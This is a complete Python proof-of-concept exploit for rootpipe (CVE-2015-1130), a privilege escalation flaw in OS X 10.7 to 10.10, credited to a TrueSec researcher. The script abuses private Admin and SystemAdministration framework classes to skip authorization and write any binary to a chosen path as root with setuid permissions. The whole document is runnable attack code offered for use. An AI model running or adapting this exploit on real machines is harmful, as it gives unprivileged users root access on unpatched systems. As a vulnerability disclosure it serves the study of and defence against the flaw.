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######################################################## # # PoC exploit code for rootpipe (CVE-2015-1130) # # Created by Emil Kvarnhammar, TrueSec # # Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2 # ######################################################## import os import sys import platform import re import ctypes import objc import sys from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions from Foundation import NSAutoreleasePool def load_lib(append_path): return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path); def use_old_api(): return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0]) args = sys.argv if len(args) != 3: print "usage: exploit.py source_binary dest_binary_as_root" sys.exit(-1) source_binary = args[1] dest_binary = os.path.realpath(args[2]) if not os.path.exists(source_binary): raise Exception("file does not exist!") pool = NSAutoreleasePool.alloc().init() attr = NSMutableDictionary.alloc().init() attr.setValue_forKey_(04777, NSFilePosixPermissions) data = NSData.alloc().initWithContentsOfFile_(source_binary) print "will write file", dest_binary if use_old_api(): adm_lib = load_lib("/Admin.framework/Admin") Authenticator = objc.lookUpClass("Authenticator") ToolLiaison = objc.lookUpClass("ToolLiaison") SFAuthorization = objc.lookUpClass("SFAuthorization") authent = Authenticator.sharedAuthenticator() authref = SFAuthorization.authorization() # authref with value nil is not accepted on OS X <= 10.8 authent.authenticateUsingAuthorizationSync_(authref) st = ToolLiaison.sharedToolLiaison() tool = st.tool() tool.createFileWithContents_path_attributes_(data, dest_binary, attr) else: adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration") WriteConfigClient = objc.lookUpClass("WriteConfigClient") client = WriteConfigClient.sharedClient() client.authenticateUsingAuthorizationSync_(None) tool = client.remoteProxy() tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0) print "Done!" del pool